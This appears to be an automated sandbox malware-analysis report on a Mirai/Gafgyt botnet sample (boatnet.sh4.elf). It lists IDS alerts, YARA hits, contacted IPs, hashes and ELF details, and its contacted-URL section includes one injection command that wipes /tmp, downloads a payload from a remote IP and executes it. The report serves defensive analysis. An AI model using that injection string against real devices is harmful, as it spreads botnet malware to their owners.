Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: boatnet.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: boatnet.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: boatnet.sh4.elf PID: 5479, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: boatnet.sh4.elf PID: 5483, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
boatnet.sh4.elf	63%	Virustotal		Browse
boatnet.sh4.elf	70%	ReversingLabs	Linux.Trojan.Mirai
boatnet.sh4.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+45.95.169.129/jaws;sh+/tmp/jaws	0%	Avira URL Cloud	safe
http://45.95.169.129/bin	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bot.nulling.io	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+45.95.169.129/jaws;sh+/tmp/jaws	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://45.95.169.129/bin	boatnet.sh4.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	boatnet.sh4.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	boatnet.sh4.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
202.122.65.145	unknown	China	24364	CNGI-SH-IX-AS-APCERNET2IXatShanghaiJiaotongUniversity	false
77.59.43.6	unknown	Switzerland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
41.217.127.123	unknown	Nigeria	37340	SpectranetNG	false
109.33.202.50	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
117.220.62.51	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
46.220.227.129	unknown	Austria	25255	H3G-AUSTRIA-ASTELE2AUSTRIAAT	false
2.66.204.244	unknown	Sweden	44034	HI3GSE	false
89.59.82.4	unknown	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	false
156.246.150.167	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
195.253.107.85	unknown	Germany	50611	KNIPP-IRONDNS1-ASTechnologieparkDE	false
156.146.54.99	unknown	United States	60068	CDN77GB	false
87.122.247.208	unknown	Germany	8881	VERSATELDE	false
108.29.44.79	unknown	United States	701	UUNETUS	false
203.78.20.98	unknown	Australia	2756	ERX-EYAU-OErnstYoungNZ	false
197.73.132.121	unknown	South Africa	16637	MTNNS-ASZA	false
5.251.61.159	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
197.71.38.214	unknown	South Africa	16637	MTNNS-ASZA	false
178.92.173.148	unknown	Ukraine	6849	UKRTELNETUA	false
128.84.74.53	unknown	United States	26	CORNELLUS	false
36.47.138.44	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
117.72.8.255	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.97.193.150	unknown	Algeria	36947	ALGTEL-ASDZ	false
2.50.95.215	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
60.86.229.64	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
156.197.112.141	unknown	Egypt	8452	TE-ASTE-ASEG	false
24.23.111.71	unknown	United States	7922	COMCAST-7922US	false
1.102.17.93	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
164.253.190.169	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
41.125.243.121	unknown	South Africa	16637	MTNNS-ASZA	false
197.4.54.17	unknown	Tunisia	5438	ATI-TN	false
41.149.186.104	unknown	South Africa	5713	SAIX-NETZA	false
117.150.97.34	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
156.2.12.229	unknown	United States	29975	VODACOM-ZA	false
58.79.120.208	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
210.240.94.43	unknown	Taiwan; Republic of China (ROC)	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
211.14.126.54	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
42.30.66.86	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
173.33.10.188	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
34.25.237.248	unknown	United States	2686	ATGS-MMD-ASUS	false
41.39.124.197	unknown	Egypt	8452	TE-ASTE-ASEG	false
37.97.214.103	unknown	Netherlands	20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false
196.100.121.15	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
91.149.99.32	unknown	Russian Federation	12958	MCCTele2RussiaNetworkRU	false
94.28.224.196	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
2.119.232.23	unknown	Italy	3269	ASN-IBSNAZIT	false
87.70.74.117	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	false
4.85.160.251	unknown	United States	3356	LEVEL3US	false
178.167.241.229	unknown	Ireland	13280	H3GIE	false
41.21.227.59	unknown	South Africa	36994	Vodacom-VBZA	false
156.48.59.122	unknown	United Kingdom	29975	VODACOM-ZA	false
216.15.86.124	unknown	United States	6079	RCN-ASUS	false
41.122.47.159	unknown	South Africa	16637	MTNNS-ASZA	false
162.70.131.218	unknown	Canada	26585	SIAC-SFTIUS	false
174.196.238.23	unknown	United States	22394	CELLCOUS	false
156.67.60.70	unknown	Spain	50129	TVHORADADAES	false
167.223.144.235	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
156.144.112.195	unknown	United States	3743	ARCEL-2US	false
197.252.76.174	unknown	Sudan	15706	SudatelSD	false
206.44.209.207	unknown	United States	3356	LEVEL3US	false
148.9.92.60	unknown	United States	3745	NTTDATA-SERVICES-AS2US	false
61.45.132.68	unknown	China	9595	XEPHIONNTT-MECorporationJP	false
204.136.141.195	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
197.177.27.30	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
94.87.235.196	unknown	Italy	3269	ASN-IBSNAZIT	false
197.21.89.104	unknown	Tunisia	37693	TUNISIANATN	false
133.146.164.188	unknown	Japan	2500	WIDE-BBWIDEProjectJP	false
210.77.176.205	unknown	China	18241	SPINETStatePowerInformationNetCN	false
197.149.52.186	unknown	Madagascar	37054	Telecom-MalagasyMG	false
197.12.117.171	unknown	Tunisia	37703	ATLAXTN	false
156.223.192.100	unknown	Egypt	8452	TE-ASTE-ASEG	false
118.193.169.207	unknown	China	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
41.37.180.46	unknown	Egypt	8452	TE-ASTE-ASEG	false
94.241.172.89	unknown	Iran (ISLAMIC Republic Of)	207141	NAKHLJONOOBIR	false
102.102.61.27	unknown	Morocco	36925	ASMediMA	false
54.2.96.70	unknown	United States	14618	AMAZON-AESUS	false
136.128.204.187	unknown	United States	60311	ONEFMCH	false
181.199.10.63	unknown	Ecuador	27947	TelconetSAEC	false
41.196.116.137	unknown	Egypt	24863	LINKdotNET-ASEG	false
65.203.183.53	unknown	United States	701	UUNETUS	false
202.30.214.194	unknown	Korea Republic of	4670	HYUNDAI-KRShinbiroKR	false
100.138.102.139	unknown	United States	21928	T-MOBILE-AS21928US	false
5.29.63.163	unknown	Israel	12849	HOTNET-ILAMS-IXAdminLANIL	false
34.0.113.177	unknown	United States	2686	ATGS-MMD-ASUS	false
216.2.70.214	unknown	United States	2828	XO-AS15US	false
166.29.49.82	unknown	United States	206	CSC-IGN-AMERUS	false
41.235.75.224	unknown	Egypt	8452	TE-ASTE-ASEG	false
117.221.135.114	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
79.136.209.193	unknown	Russian Federation	34145	TOMTELRU	false
41.251.205.234	unknown	Morocco	36903	MT-MPLSMA	false
206.224.139.144	unknown	United States	18756	PATEAMUS	false
119.116.113.170	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
143.89.183.72	unknown	Hong Kong	3363	HKUST-AS-HKHongKongUniversityofScienceandTechnology	false
178.89.155.149	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
60.181.24.84	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
79.208.52.211	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
150.203.91.41	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
202.217.223.8	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
83.171.120.85	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
23.84.245.102	unknown	United States	395954	LEASEWEB-USA-LAX-11US	false
133.226.186.107	unknown	Japan	17958	KCVKasaokaCableVisionCoLTDJP	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
202.122.65.145	sora.arm.elf	Get hash	malicious	Mirai	Browse
77.59.43.6	9HXlqnyJyp.elf	Get hash	malicious	Mirai	Browse
41.217.127.123	arm5-20241201-0124.elf	Get hash	malicious	Mirai	Browse
	nullnet_load.i686.elf	Get hash	malicious	Mirai	Browse
	dx8p6J44SO.elf	Get hash	malicious	Mirai, Moobot	Browse
	bk.x86.elf	Get hash	malicious	Mirai	Browse
	3X5qPN65iQ	Get hash	malicious	Gafgyt, Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse
	MPmlYCqcu5	Get hash	malicious	Mirai	Browse
	MyZE8SYzbH	Get hash	malicious	Mirai	Browse
109.33.202.50	uKWWGpGChG.elf	Get hash	malicious	Mirai	Browse
2.66.204.244	e8cZ78k4xT	Get hash	malicious	Mirai	Browse
89.59.82.4	0Imj5dECkG.elf	Get hash	malicious	Mirai	Browse
156.246.150.167	nCAP7W86f2.elf	Get hash	malicious	Mirai	Browse
	arm7-20220501-2100	Get hash	malicious	Mirai	Browse
	aqua.x86	Get hash	malicious	Gafgyt Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
	4VsoRulf3z	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNGI-SH-IX-AS-APCERNET2IXatShanghaiJiaotongUniversity	154.213.187.4-arm-2025-01-26T13_53_45.elf	Get hash	malicious	Mirai	Browse	218.193.181.155
	armv4l.elf	Get hash	malicious	Unknown	Browse	111.186.24.1
	sh4.elf	Get hash	malicious	Unknown	Browse	210.35.123.85
	armv7l.elf	Get hash	malicious	Unknown	Browse	202.122.65.177
	nsharm7.elf	Get hash	malicious	Mirai	Browse	59.79.11.111
	na.elf	Get hash	malicious	Mirai	Browse	59.79.11.118
	nsharm7.elf	Get hash	malicious	Mirai	Browse	210.35.123.89
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	218.193.163.146
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	175.186.134.243
	TRC.sh4.elf	Get hash	malicious	Mirai	Browse	218.193.181.153
LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	telnet.arm.elf	Get hash	malicious	Gafgyt, Mirai	Browse	84.113.69.159
	telnet.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	92.110.221.177
	sora.arm.elf	Get hash	malicious	Mirai	Browse	84.115.214.222
	sora.spc.elf	Get hash	malicious	Mirai	Browse	37.24.202.108
	sora.mips.elf	Get hash	malicious	Mirai	Browse	217.162.58.39
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	80.108.142.153
	arm5.elf	Get hash	malicious	Unknown	Browse	88.152.205.101
	ppc.elf	Get hash	malicious	Unknown	Browse	91.119.201.70
	mpsl.elf	Get hash	malicious	Unknown	Browse	95.158.119.77
	m68k.elf	Get hash	malicious	Unknown	Browse	178.200.81.18
SpectranetNG	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.217.4.131
	wanna.x86.elf	Get hash	malicious	Mirai	Browse	41.217.30.130
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	41.217.104.30
	ewe.mpsl.elf	Get hash	malicious	Mirai	Browse	41.217.104.30
	x86_64-20250124-1346.elf	Get hash	malicious	Mirai, Moobot	Browse	41.217.4.146
	main_x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	41.217.127.102
	frosty.arm.elf	Get hash	malicious	Mirai	Browse	41.217.127.104
	armv7l.elf	Get hash	malicious	Mirai	Browse	154.120.110.255
	garm5.elf	Get hash	malicious	Mirai	Browse	41.217.127.157
	gmpsl.elf	Get hash	malicious	Mirai	Browse	41.217.104.40

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.835485751298075
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	boatnet.sh4.elf
File size:	74'804 bytes
MD5:	75cc56c5a70efdf8d18a970a759a16c2
SHA1:	6953f7c0d5b507271a1cd10cb2120d57f5b923a1
SHA256:	806d157273b2706baa437175a2f1108a53b006fc35ce9196e933dad7d7c759fc
SHA512:	bf6fecaa1f48701c546da38fd1df83e1a2d04942a1002209dc1e085ab5f4620619a286b4895959758523cc35aa913fd1ec76e2ab4de9825816d4259fa432f721
SSDEEP:	1536:o/QYauV3ZaRwtmkyYpngIYj2XAP1wN/DzJzvagQC74SWR:oYY3BZ24yKnGj49/DFzvagQ7
TLSH:	C873C073C0696DB0C6840534A9E59E382723B44966271EF24F5687E6A40BAFCF64D3F3
File Content Preview:	.ELF.....................@.4...."......4. ...(...............@...@.D...D................ ... B.. B.d...............Q.td............................././"O.n........#.@........#.*@,....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74404
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x10440	0x0	0x6	AX	32
.fini	PROGBITS	0x410520	0x10520	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x410544	0x10544	0x1900	0x0	0x2	A	4
.ctors	PROGBITS	0x422000	0x12000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x422008	0x12008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x422014	0x12014	0x250	0x0	0x3	WA	4
.bss	NOBITS	0x422264	0x12264	0x498	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x12264	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x11e44	0x11e44	6.8914	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12000	0x422000	0x422000	0x264	0x6fc	2.9947	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-30T10:43:01.850594+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36320	103.213.214.129	80	TCP
